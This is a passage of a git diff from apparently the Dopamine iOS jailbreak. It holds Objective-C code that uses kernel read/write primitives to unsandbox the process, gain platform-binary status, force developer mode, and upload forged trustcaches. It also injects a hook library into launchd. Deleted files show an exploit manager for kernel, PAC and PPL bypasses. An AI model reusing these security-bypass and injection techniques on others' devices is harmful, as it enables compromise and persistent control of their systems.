getgid()]}]; + + // Unsandbox + uint64_t label = kread_ptr(ucred + koffsetof(ucred, label)); + mac_label_set(label, 1, -1); + NSError *error = nil; + [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@"/var" error:&error]; + if (error) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedUnsandbox userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to unsandbox, /var does not seem accessible (%s)", error.description.UTF8String]}]; + setenv("HOME", "/var/root", true); + setenv("CFFIXED_USER_HOME", "/var/root", true); + setenv("TMPDIR", "/var/tmp", true); + + // FUCKING dirhelper caches the temporary path + // So we have to do userland patchfinding to find the fucking string and overwrite it + /*char **pain = NULL; + uint32_t *dirhelperData = (uint32_t *)_dirhelper; + for (int i = 0; i < 100; i++) { + arm64_register destinationReg; + uint64_t imm = 0; + if (arm64_dec_ldr_imm(dirhelperData[i], &destinationReg, NULL, &imm, NULL, NULL) == 0) { + if (ARM64_REG_GET_NUM(destinationReg) == 1) { + uint32_t *adrpAddr = &dirhelperData[i - 1]; + uint64_t adrpTarget = 0; + uint32_t adrpInst = *adrpAddr; + if (arm64_dec_adr_p(adrpInst, (uint64_t)adrpAddr, &adrpTarget, NULL, NULL) == 0) { + pain = (char **)(uint64_t)(adrpTarget + imm); + break; + } + } + } + } + *pain = strdup("/var/tmp");*/ + + // Get CS_PLATFORM_BINARY + proc_csflags_set(proc, CS_PLATFORM_BINARY); + uint32_t csflags; + csops(getpid(), CS_OPS_STATUS, &csflags, sizeof(csflags)); + if (!(csflags & CS_PLATFORM_BINARY)) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedPlatformize userInfo:@{NSLocalizedDescriptionKey:@"Failed to get CS_PLATFORM_BINARY"}]; + + return nil; +} + +- (NSError *)showNonDefaultSystemApps +{ + _CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + _CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + return nil; +} + +- (NSError *)ensureDevModeEnabled +{ + if (@available(iOS 16.0, *)) { + uint64_t developer_mode_storage = kread64(ksymbol(developer_mode_enabled)); + kwrite8(developer_mode_storage, 1); + } + return nil; +} + +- (NSError *)loadBasebinTrustcache +{ + trustcache_file_v1 *basebinTcFile = NULL; + if (trustcache_file_build_from_path([[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"basebin.tc"].fileSystemRepresentation, &basebinTcFile) == 0) { + int r = trustcache_file_upload_with_uuid(basebinTcFile, BASEBIN_TRUSTCACHE_UUID); + free(basebinTcFile); + if (r != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedBasebinTrustcache userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to upload BaseBin trustcache: %d", r]}]; + return nil; + } + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedBasebinTrustcache userInfo:@{NSLocalizedDescriptionKey : @"Failed to load BaseBin trustcache"}]; +} + +struct boomerang_info { + mach_port_t serverPort; + dispatch_semaphore_t boomerangDone; +}; + +void *boomerang_server(struct boomerang_info *info) +{ + while (true) { + xpc_object_t xdict = nil; + if (!xpc_pipe_receive(info->serverPort, &xdict)) { + if (jbserver_received_boomerang_xpc_message(&gBoomerangServer, xdict) == JBS_BOOMERANG_DONE) { + dispatch_semaphore_signal(info->boomerangDone); + break; + } + } + } + return NULL; +} + +- (NSError *)injectLaunchdHook +{ + // Host a boomerang server that will be used by launchdhook to get the jailbreak primitives from this app + mach_port_t serverPort = MACH_PORT_NULL; + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &serverPort); + mach_port_insert_right(mach_task_self(), serverPort, serverPort, MACH_MSG_TYPE_MAKE_SEND); + + struct boomerang_info info; + info.serverPort = serverPort; + info.boomerangDone = dispatch_semaphore_create(0); + + pthread_t boomerangThread; + pthread_create(&boomerangThread, NULL, (void *(*)(void *))boomerang_server, &info); + pthread_detach(boomerangThread); + + // Stash port to server in launchd's initPorts[2] + // Since we don't have the neccessary entitlements, we need to do it over jbctl + posix_spawnattr_t attr; + posix_spawnattr_init(&attr); + posix_spawnattr_set_registered_ports_np(&attr, (mach_port_t[]){MACH_PORT_NULL, MACH_PORT_NULL, serverPort}, 3); + pid_t spawnedPid = 0; + const char *jbctlPath = JBROOT_PATH("/basebin/jbctl"); + int spawnError = posix_spawn(&spawnedPid, jbctlPath, NULL, &attr, (char *const *)(const char *[]){ jbctlPath, "internal", "launchd_stash_port", NULL }, NULL); + if (spawnError != 0) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLaunchdInjection userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Spawning jbctl failed with error code %d", spawnError]}]; + } + posix_spawnattr_destroy(&attr); + int status = 0; + do { + if (waitpid(spawnedPid, &status, 0) == -1) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLaunchdInjection userInfo:@{NSLocalizedDescriptionKey : @"Waiting for jbctl failed"}];; + } + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + + // Inject launchdhook.dylib into launchd via opainject + int r = exec_cmd(JBROOT_PATH("/basebin/opainject"), "1", JBROOT_PATH("/basebin/launchdhook.dylib"), NULL); + if (r != 0) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLaunchdInjection userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"opainject failed with error code %d", r]}]; + } + + // Wait for everything to finish + dispatch_semaphore_wait(info.boomerangDone, DISPATCH_TIME_FOREVER); + mach_port_deallocate(mach_task_self(), serverPort); + + return nil; +} + +- (NSError *)applyProtection +{ + int r = [[DOEnvironmentManager sharedManager] setPrivatePrebootProtected:YES]; + if (r != 0) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitProtection userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed initializing protection with error: %d", r]}]; + } + return nil; +} + +- (NSError *)createFakeLib +{ + int r = basebin_generate(false); + if (r != 0) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Creating fakelib failed with error: %d", r]}]; + } + + cdhash_t *cdhashes = NULL; + uint32_t cdhashesCount = 0; + file_collect_untrusted_cdhashes_by_path(JBROOT_PATH("/basebin/.fakelib/dyld"), &cdhashes, &cdhashesCount); + if (cdhashesCount != 1) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Got unexpected number of cdhashes for dyld???: %d", cdhashesCount]}]; + + trustcache_file_v1 *dyldTCFile = NULL; + r = trustcache_file_build_from_cdhashes(cdhashes, cdhashesCount, &dyldTCFile); + free(cdhashes); + if (r == 0) { + int r = trustcache_file_upload_with_uuid(dyldTCFile, DYLD_TRUSTCACHE_UUID); + if (r != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to upload dyld trustcache: %d", r]}]; + free(dyldTCFile); + } + else { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : @"Failed to build dyld trustcache"}]; + } + + r = [[DOEnvironmentManager sharedManager] setFakelibMounted:YES]; + if (r != 0) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedInitFakeLib userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Mounting fakelib failed with error: %d", r]}]; + } + + // Now that fakelib is up, we want to make systemhook inject into any binary we spawn + setenv("DYLD_INSERT_LIBRARIES", "/usr/lib/systemhook.dylib", 1); + return nil; +} + +- (NSError *)ensureNoDuplicateApps +{ + NSMutableSet *dopamineInstalledAppIds = [NSMutableSet new]; + NSMutableSet *userInstalledAppIds = [NSMutableSet new]; + + NSString *dopamineAppsPath = JBROOT_PATH(@"/Applications"); + NSString *userAppsPath = @"/var/containers/Bundle/Application"; + + for (NSString *dopamineAppName in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:dopamineAppsPath error:nil]) { + NSString *infoPlistPath = [[dopamineAppsPath stringByAppendingPathComponent:dopamineAppName] stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *infoDictionary = [NSDictionary dictionaryWithContentsOfFile:infoPlistPath]; + NSString *appId = infoDictionary[@"CFBundleIdentifier"]; + if (appId) { + if (![dopamineInstalledAppIds containsObject:appId]) { + [dopamineInstalledAppIds addObject:appId]; + } + else { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedDuplicateApps userInfo:@{ NSLocalizedDescriptionKey : [NSString stringWithFormat:DOLocalizedString(@"Duplicate_Apps_Error_Dopamine_App"), appId, dopamineAppsPath]}]; + } + } + } + + for (NSString *appUUID in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:userAppsPath error:nil]) { + NSString *UUIDPath = [userAppsPath stringByAppendingPathComponent:appUUID]; + for (NSString *appCandidate in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:UUIDPath error:nil]) { + if ([appCandidate.pathExtension isEqualToString:@"app"]) { + NSString *appPath = [UUIDPath stringByAppendingPathComponent:appCandidate]; + NSString *infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *infoDictionary = [NSDictionary dictionaryWithContentsOfFile:infoPlistPath]; + NSString *appId = infoDictionary[@"CFBundleIdentifier"]; + if (appId) { + [userInstalledAppIds addObject:appId]; + } + } + } + } + + NSMutableSet *duplicateApps = dopamineInstalledAppIds.mutableCopy; + [duplicateApps intersectSet:userInstalledAppIds]; + if (duplicateApps.count) { + NSMutableString *duplicateAppsString = [NSMutableString new]; + [duplicateAppsString appendString:@"["]; + BOOL isFirst = YES; + for (NSString *duplicateApp in duplicateApps) { + if (isFirst) isFirst = NO; + else [duplicateAppsString appendString:@", "]; + [duplicateAppsString appendString:duplicateApp]; + } + [duplicateAppsString appendString:@"]"]; + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedDuplicateApps userInfo:@{ NSLocalizedDescriptionKey : [NSString stringWithFormat:DOLocalizedString(@"Duplicate_Apps_Error_User_App"), duplicateAppsString, dopamineAppsPath]}]; + } + + for (NSString *dopamineAppId in dopamineInstalledAppIds) { + LSApplicationProxy *appProxy = [LSApplicationProxy applicationProxyForIdentifier:dopamineAppId]; + if (appProxy.installed) { + NSString *appProxyPath = [[appProxy.bundleURL.path stringByResolvingSymlinksInPath] stringByStandardizingPath]; + if (![appProxyPath hasPrefix:dopamineAppsPath]) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedDuplicateApps userInfo:@{ NSLocalizedDescriptionKey : [NSString stringWithFormat:DOLocalizedString(@"Duplicate_Apps_Error_Icon_Cache"), dopamineAppId, dopamineAppsPath, appProxy.bundleURL.path]}]; + } + } + } + + return nil; +} + +- (NSError *)finalizeBootstrapIfNeeded +{ + return [[DOEnvironmentManager sharedManager] finalizeBootstrap]; +} + +- (void)runWithError:(NSError **)errOut didRemoveJailbreak:(BOOL*)didRemove showLogs:(BOOL *)showLogs +{ + BOOL removeJailbreakEnabled = [[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"removeJailbreakEnabled" fallback:NO]; + BOOL tweaksEnabled = [[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"tweakInjectionEnabled" fallback:YES]; + BOOL idownloadEnabled = [[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"idownloadEnabled" fallback:NO]; + BOOL appJITEnabled = [[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"appJITEnabled" fallback:YES]; + NSNumber *jetsamMultiplierOption = [[DOPreferenceManager sharedManager] preferenceValueForKey:@"jetsamMultiplier"]; + + struct utsname systemInfo; + uname(&systemInfo); + NSString *startLog = [NSString stringWithFormat:@"Starting Jailbreak (Model: %s, %@, Configuration: {removeJailbreak=%d, tweakInjection=%d, idownload=%d, appJIT=%d})", systemInfo.machine, NSProcessInfo.processInfo.operatingSystemVersionString, removeJailbreakEnabled, tweaksEnabled, idownloadEnabled, appJITEnabled]; + [[DOUIManager sharedInstance] sendLog:startLog debug:YES]; + + *errOut = [self gatherSystemInformation]; + if (*errOut) return; + *errOut = [self doExploitation]; + if (*errOut) return; + + gSystemInfo.jailbreakSettings.markAppsAsDebugged = appJITEnabled; + gSystemInfo.jailbreakSettings.jetsamMultiplier = jetsamMultiplierOption ? (jetsamMultiplierOption.doubleValue / 2) : 0; + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Building Phys R/W Primitive") debug:NO]; + *errOut = [self buildPhysRWPrimitive]; + if (*errOut) return; + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Cleaning Up Exploits") debug:NO]; + *errOut = [self cleanUpExploits]; + if (*errOut) return; + + // We will not be able to reset this after elevating privileges, so do it now + if (removeJailbreakEnabled) [[DOPreferenceManager sharedManager] setPreferenceValue:@NO forKey:@"removeJailbreakEnabled"]; + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Elevating Privileges") debug:NO]; + *errOut = [self elevatePrivileges]; + if (*errOut) return; + *errOut = [self showNonDefaultSystemApps]; + if (*errOut) return; + *errOut = [self ensureDevModeEnabled]; + if (*errOut) return; + + // Now that we are unsandboxed, populate the jailbreak root path + *errOut = [[DOEnvironmentManager sharedManager] ensureJailbreakRootExists]; + if (*errOut) return; + + if (removeJailbreakEnabled) { + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Removing Jailbreak") debug:NO]; + *errOut = [[DOEnvironmentManager sharedManager] deleteBootstrap]; + *didRemove = YES; + return; + } + + *errOut = [[DOEnvironmentManager sharedManager] prepareBootstrap]; + if (*errOut) return; + setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/var/jb/sbin:/var/jb/bin:/var/jb/usr/sbin:/var/jb/usr/bin", 1); + setenv("TERM", "xterm-256color", 1); + + *errOut = [[DOEnvironmentManager sharedManager] updateBootLogo]; + if (*errOut) return; + + if (!tweaksEnabled) { + printf("Creating safe mode marker file since tweaks were disabled in settings\n"); + [[NSData data] writeToFile:JBROOT_PATH(@"/basebin/.safe_mode") atomically:YES]; + } + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Loading BaseBin TrustCache") debug:NO]; + *errOut = [self loadBasebinTrustcache]; + if (*errOut) return; + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Initializing Environment") debug:NO]; + *errOut = [self injectLaunchdHook]; + if (*errOut) return; + + // Now that we can, protect important system files by bind mounting on top of them + // This will be always be done during the userspace reboot + // We also do it now though in case there is a failure between the now step and the userspace reboot + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Initializing Protection") debug:NO]; + *errOut = [self applyProtection]; + if (*errOut) return; + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Applying Bind Mount") debug:NO]; + *errOut = [self createFakeLib]; + if (*errOut) return; + + // Unsandbox iconservicesagent so that app icons can work + exec_cmd_trusted(JBROOT_PATH("/usr/bin/killall"), "-9", "iconservicesagent", NULL); + + *errOut = [self finalizeBootstrapIfNeeded]; + if (*errOut) return; + + [[DOEnvironmentManager sharedManager] setIDownloadEnabled:idownloadEnabled needsUnsandbox:NO]; + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Checking For Duplicate Apps") debug:NO]; + *errOut = [self ensureNoDuplicateApps]; + if (*errOut) { + *showLogs = NO; + return; + } + + //printf("Starting launch daemons...\n"); + //exec_cmd_trusted(JBROOT_PATH("/usr/bin/launchctl"), "bootstrap", "system", JBROOT_PATH("/Library/LaunchDaemons"), NULL); + //exec_cmd_trusted(JBROOT_PATH("/usr/bin/launchctl"), "bootstrap", "system", JBROOT_PATH("/basebin/LaunchDaemons"), NULL); + // Note: This causes the app to freeze in some instances due to launchd only having physrw_pte, we might want to only do it when neccessary + // It's only neccessary when we don't immediately userspace reboot + + printf("Done!\n"); +} + +- (void)finalize +{ + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Rebooting Userspace") debug:NO]; + [[DOEnvironmentManager sharedManager] rebootUserspace]; +} + +@end diff --git a/Application/Dopamine/Jailbreak/DOPreferenceManager.h b/Application/Dopamine/Jailbreak/DOPreferenceManager.h new file mode 100644 index 0000000000..b9764cc9bd --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOPreferenceManager.h @@ -0,0 +1,28 @@ +// +// PreferenceManager.h +// Dopamine +// +// Created by Lars Fröder on 13.01.24. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOPreferenceManager : NSObject +{ + NSString *_preferencesPath; + NSMutableDictionary *_preferences; +} + ++ (instancetype)sharedManager; + +- (id)preferenceValueForKey:(NSString *)key; +- (BOOL)boolPreferenceValueForKey:(NSString *)key fallback:(BOOL)fallback; + +- (void)setPreferenceValue:(NSObject *)obj forKey:(NSString *)key; +- (void)removePreferenceValueForKey:(NSString *)key; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Jailbreak/DOPreferenceManager.m b/Application/Dopamine/Jailbreak/DOPreferenceManager.m new file mode 100644 index 0000000000..08ed8a4326 --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOPreferenceManager.m @@ -0,0 +1,68 @@ +// +// PreferenceManager.m +// Dopamine +// +// Created by Lars Fröder on 13.01.24. +// + +#import "DOPreferenceManager.h" + +@implementation DOPreferenceManager + ++ (instancetype)sharedManager +{ + static DOPreferenceManager *preferenceManager; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + preferenceManager = [[DOPreferenceManager alloc] init]; + }); + return preferenceManager; +} + +- (instancetype)init +{ + self = [super init]; + if (self) { + _preferencesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Preferences/com.opa334.Dopamine.plist"]; + [self loadPreferences]; + } + return self; +} + +- (void)loadPreferences +{ + _preferences = [NSDictionary dictionaryWithContentsOfFile:_preferencesPath].mutableCopy ?: [NSMutableDictionary new]; +} + +- (void)savePreferences +{ + [_preferences writeToFile:_preferencesPath atomically:YES]; +} + +- (id)preferenceValueForKey:(NSString *)key +{ + return [_preferences objectForKey:key]; +} + +- (BOOL)boolPreferenceValueForKey:(NSString *)key fallback:(BOOL)fallback +{ + NSNumber *num = [self preferenceValueForKey:key]; + if (num) { + return num.boolValue; + } + return fallback; +} + +- (void)setPreferenceValue:(NSObject *)obj forKey:(NSString *)key +{ + [_preferences setObject:obj forKey:key]; + [self savePreferences]; +} + +- (void)removePreferenceValueForKey:(NSString *)key +{ + [_preferences removeObjectForKey:key]; + [self savePreferences]; +} + +@end diff --git a/Application/Dopamine/Jailbreak/EnvironmentManager.h b/Application/Dopamine/Jailbreak/EnvironmentManager.h deleted file mode 100644 index ce3986f2ec..0000000000 --- a/Application/Dopamine/Jailbreak/EnvironmentManager.h +++ /dev/null @@ -1,35 +0,0 @@ -// -// EnvironmentManager.h -// Dopamine -// -// Created by Lars Fröder on 10.01.24. -// - -#import -#import "Bootstrapper.h" - -NS_ASSUME_NONNULL_BEGIN - -@interface EnvironmentManager : NSObject -{ - Bootstrapper *_bootstrapper; -} - -+ (instancetype)sharedManager; - -@property (nonatomic, readonly) NSData *bootManifestHash; - -- (BOOL)isArm64e; -- (NSString *)versionSupportString; -- (BOOL)installedThroughTrollStore; -- (NSString *)accessibleKernelPath; -- (void)determineJailbreakRootPath; - -- (BOOL)isPACBypassRequired; -- (BOOL)isPPLBypassRequired; - -- (NSError *)prepareBootstrap; -- (NSError *)finalizeBootstrap; -@end - -NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Jailbreak/EnvironmentManager.m b/Application/Dopamine/Jailbreak/EnvironmentManager.m deleted file mode 100644 index 94c0b8e001..0000000000 --- a/Application/Dopamine/Jailbreak/EnvironmentManager.m +++ /dev/null @@ -1,171 +0,0 @@ -// -// EnvironmentManager.m -// Dopamine -// -// Created by Lars Fröder on 10.01.24. -// - -#import "EnvironmentManager.h" - -#import -#import -#import - -#import -#import "NSData+Hex.h" - -@implementation EnvironmentManager - -@synthesize bootManifestHash = _bootManifestHash; - -+ (instancetype)sharedManager -{ - static EnvironmentManager *shared; - static dispatch_once_t onceToken; - dispatch_once(&onceToken, ^{ - shared = [[EnvironmentManager alloc] init]; - }); - return shared; -} - -- (instancetype)init -{ - self = [super init]; - if (self) { - _bootstrapper = [[Bootstrapper alloc] init]; - } - return self; -} - -- (NSData *)bootManifestHash -{ - if (!_bootManifestHash) { - io_registry_entry_t registryEntry = IORegistryEntryFromPath(kIOMainPortDefault, "IODeviceTree:/chosen"); - if (registryEntry) { - _bootManifestHash = (__bridge NSData *)IORegistryEntryCreateCFProperty(registryEntry, CFSTR("boot-manifest-hash"), NULL, 0); - } - } - return _bootManifestHash; -} - -- (NSString *)activePrebootPath -{ - return [@"/private/preboot" stringByAppendingPathComponent:[self bootManifestHash].hexString]; -} - -- (void)determineJailbreakRootPath -{ - if (!gSystemInfo.jailbreakInfo.rootPath) { - NSString *activePrebootPath = [self activePrebootPath]; - - NSString *randomizedJailbreakPath; - for (NSString *subItem in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:activePrebootPath error:nil]) { - if (subItem.length == 9 && [subItem hasPrefix:@"jb-"]) { - randomizedJailbreakPath = [activePrebootPath stringByAppendingPathComponent:subItem]; - break; - } - } - - if (!randomizedJailbreakPath) { - NSString *characterSet = @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; - NSUInteger stringLen = 6; - NSMutableString *randomString = [NSMutableString stringWithCapacity:stringLen]; - for (NSUInteger i = 0; i < stringLen; i++) { - NSUInteger randomIndex = arc4random_uniform((uint32_t)[characterSet length]); - unichar randomCharacter = [characterSet characterAtIndex:randomIndex]; - [randomString appendFormat:@"%C", randomCharacter]; - } - - NSString *randomJailbreakFolderName = [NSString stringWithFormat:@"jb-%@", randomString]; - randomizedJailbreakPath = [activePrebootPath stringByAppendingPathComponent:randomJailbreakFolderName]; - } - - NSString *jailbreakRootPath = [randomizedJailbreakPath stringByAppendingPathComponent:@"procursus"]; - if (![[NSFileManager defaultManager] fileExistsAtPath:jailbreakRootPath]) { - [[NSFileManager defaultManager] createDirectoryAtPath:jailbreakRootPath withIntermediateDirectories:YES attributes:nil error:nil]; - } - - // This attribute serves as the primary source of what the root path is - // Anything else in the jailbreak will get it from here - gSystemInfo.jailbreakInfo.rootPath = strdup(jailbreakRootPath.fileSystemRepresentation); - } -} - -- (BOOL)isArm64e -{ - cpu_subtype_t cpusubtype = 0; - size_t len = sizeof(cpusubtype); - if (sysctlbyname("hw.cpusubtype", &cpusubtype, &len, NULL, 0) == -1) { return NO; } - return (cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; - -} - -- (NSString *)versionSupportString -{ - if ([self isArm64e]) { - return @"iOS 15.0 - 16.5.1 (arm64e)"; - } - else { - return @"iOS 15.0 - 16.6.1 (arm64)"; - } -} - -- (BOOL)installedThroughTrollStore -{ - NSString* trollStoreMarkerPath = [[[NSBundle mainBundle].bundlePath stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"_TrollStore"]; - return [[NSFileManager defaultManager] fileExistsAtPath:trollStoreMarkerPath]; -} - - -- (NSString *)accessibleKernelPath -{ - if ([self installedThroughTrollStore]) { - NSString *kernelcachePath = [[self activePrebootPath] stringByAppendingPathComponent:@"System/Library/Caches/com.apple.kernelcaches/kernelcache"]; - return kernelcachePath; - } - else { - NSString *kernelcachePath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents/kernelcache"]; - if (![[NSFileManager defaultManager] fileExistsAtPath:kernelcachePath]) { - if (grabkernel((char *)kernelcachePath.fileSystemRepresentation, 0) != 0) return nil; - } - return kernelcachePath; - } -} - -- (BOOL)isPACBypassRequired -{ - if (![self isArm64e]) return NO; - - if (@available(iOS 15.2, *)) { - return NO; - } - return YES; -} - -- (BOOL)isPPLBypassRequired -{ - return [self isArm64e]; -} - -- (NSError *)prepareBootstrap -{ - __block NSError *errOut; - dispatch_semaphore_t sema = dispatch_semaphore_create(0); - [_bootstrapper prepareBootstrapWithCompletion:^(NSError *error) { - errOut = error; - dispatch_semaphore_signal(sema); - }]; - dispatch_semaphore_wait(sema, DISPATCH_TIME_FOREVER); - return errOut; -} - -- (NSError *)finalizeBootstrap -{ - if (_bootstrapper.needsFinalize) { - printf("Bootstrap needs finalize... Finalizing!\n"); - return [_bootstrapper finalizeBootstrap]; - } - return nil; -} - -@end diff --git a/Application/Dopamine/Jailbreak/Exploit.m b/Application/Dopamine/Jailbreak/Exploit.m deleted file mode 100644 index 534dc88431..0000000000 --- a/Application/Dopamine/Jailbreak/Exploit.m +++ /dev/null @@ -1,103 +0,0 @@ -// -// Exploit.m -// Dopamine -// -// Created by Lars Fröder on 10.01.24. -// - -#import "Exploit.h" -#import - -#import "ExploitManager.h" - -@implementation Exploit - -- (instancetype)initWithPath:(NSString *)exploitPath flavorName:(NSString *)flavorName flavorDictionary:(NSDictionary *)flavorInfo -{ - self = [super init]; - if (self) { - NSDictionary *exploitInfo = [NSDictionary dictionaryWithContentsOfFile:[exploitPath stringByAppendingPathComponent:@"Info.plist"]]; - _name = exploitInfo[@"CFBundleDisplayName"]; - _executablePath = [exploitPath stringByAppendingPathComponent:exploitInfo[@"CFBundleExecutable"]]; - - NSString *typeString = exploitInfo[@"DPExploitType"]; - if ([typeString isEqualToString:@"Kernel"]) { - _type = EXPLOIT_TYPE_KERNEL; - } - else if ([typeString isEqualToString:@"PAC"]) { - _type = EXPLOIT_TYPE_PAC; - } - else if ([typeString isEqualToString:@"PPL"]) { - _type = EXPLOIT_TYPE_PPL; - } - else { - NSLog(@"Unknown Exploit Type: %@", typeString); - return nil; - } - - NSNumber *priorityNum = flavorInfo[@"DPFlavorPriority"]; - _priority = [priorityNum unsignedLongLongValue]; - - NSString *baseIdentifier = exploitInfo[@"CFBundleIdentifier"]; - - if (![flavorName isEqualToString:@"default"]) { - _flavor = flavorName; - _identfier = [NSString stringWithFormat:@"%@.%@", baseIdentifier, flavorName]; - } - else { - _identfier = baseIdentifier; - } - } - return self; -} - -- (NSString *)displayName -{ - if (self.flavor) { - return [NSString stringWithFormat:@"%@ (%@)", self.name, self.flavor]; - } - else { - return self.name; - } -} - -- (BOOL)isSupported -{ - return YES; -} - -- (int)load -{ - if (!_handle) { - _handle = dlopen(_executablePath.fileSystemRepresentation, RTLD_NOW); - } - if (_handle) return 0; - return -1; -} - -- (int)run -{ - if (!_handle) return -1; - int (*exploit_init)(const char *flavor) = dlsym(_handle, "exploit_init"); - if (!exploit_init) return -1; - int r = exploit_init(_flavor.UTF8String); - if (r == 0) [[ExploitManager sharedManager].activeExploits addObject:self]; - return r; -} - -- (int)cleanup -{ - if (!_handle) return -1; - int (*exploit_deinit)(void) = dlsym(_handle, "exploit_deinit"); - if (!exploit_deinit) return -1; - int r = exploit_deinit(); - if (r == 0) [[ExploitManager sharedManager].activeExploits removeObject:self]; - return r; -} - -- (NSString *)description -{ - return [NSString stringWithFormat:@"", self.identfier]; -} - -@end diff --git a/Application/Dopamine/Jailbreak/ExploitManager.h b/Application/Dopamine/Jailbreak/ExploitManager.h deleted file mode 100644 index 041aadfe72..0000000000 --- a/Application/Dopamine/Jailbreak/ExploitManager.h +++ /dev/null @@ -1,27 +0,0 @@ -// -// ExploitManager.h -// Dopamine -// -// Created by Lars Fröder on 09.01.24. -// - -#import -#import "Exploit.h" - -NS_ASSUME_NONNULL_BEGIN - -@interface ExploitManager : NSObject -@property (nonatomic) NSSet *allExploits; -@property (nonatomic) NSMutableArray *activeExploits; - -@property (nonatomic, readonly) Exploit *preferredKernelExploit; -@property (nonatomic, readonly) Exploit *preferredPACBypass; -@property (nonatomic, readonly) Exploit *preferredPPLBypass; - -+ (instancetype)sharedManager; - -- (int)cleanUpExploits; - -@end - -NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Jailbreak/ExploitManager.m b/Application/Dopamine/Jailbreak/ExploitManager.m deleted file mode 100644 index 9dda797ca8..0000000000 --- a/Application/Dopamine/Jailbreak/ExploitManager.m +++ /dev/null @@ -1,110 +0,0 @@ -// -// ExploitManager.m -// Dopamine -// -// Created by Lars Fröder on 09.01.24. -// - -#import "ExploitManager.h" -#import "Exploit.h" -#import "EnvironmentManager.h" - -#import - -#define FORCE_PAC_BYPASS 0 - -@implementation ExploitManager - -+ (instancetype)sharedManager -{ - static ExploitManager *shared; - static dispatch_once_t onceToken; - dispatch_once(&onceToken, ^{ - shared = [[ExploitManager alloc] init]; - }); - return shared; -} - -- (instancetype)init -{ - self = [super init]; - if (self) { - _activeExploits = [NSMutableArray new]; - [self _loadAvailableExploits]; - } - return self; -} - -- (void)_loadAvailableExploits -{ - NSMutableSet *exploitSet = [NSMutableSet new]; - NSString *exploitPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"Frameworks/Exploits"]; - NSArray *contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:exploitPath error:nil]; - if (contents) { - for (NSString *exploitFrameworkName in contents) { - NSString *exploitFrameworkPath = [exploitPath stringByAppendingPathComponent:exploitFrameworkName]; - NSDictionary *exploitInfo = [NSDictionary dictionaryWithContentsOfFile:[exploitFrameworkPath stringByAppendingPathComponent:@"Info.plist"]]; - if (exploitInfo) { - NSDictionary *flavors = 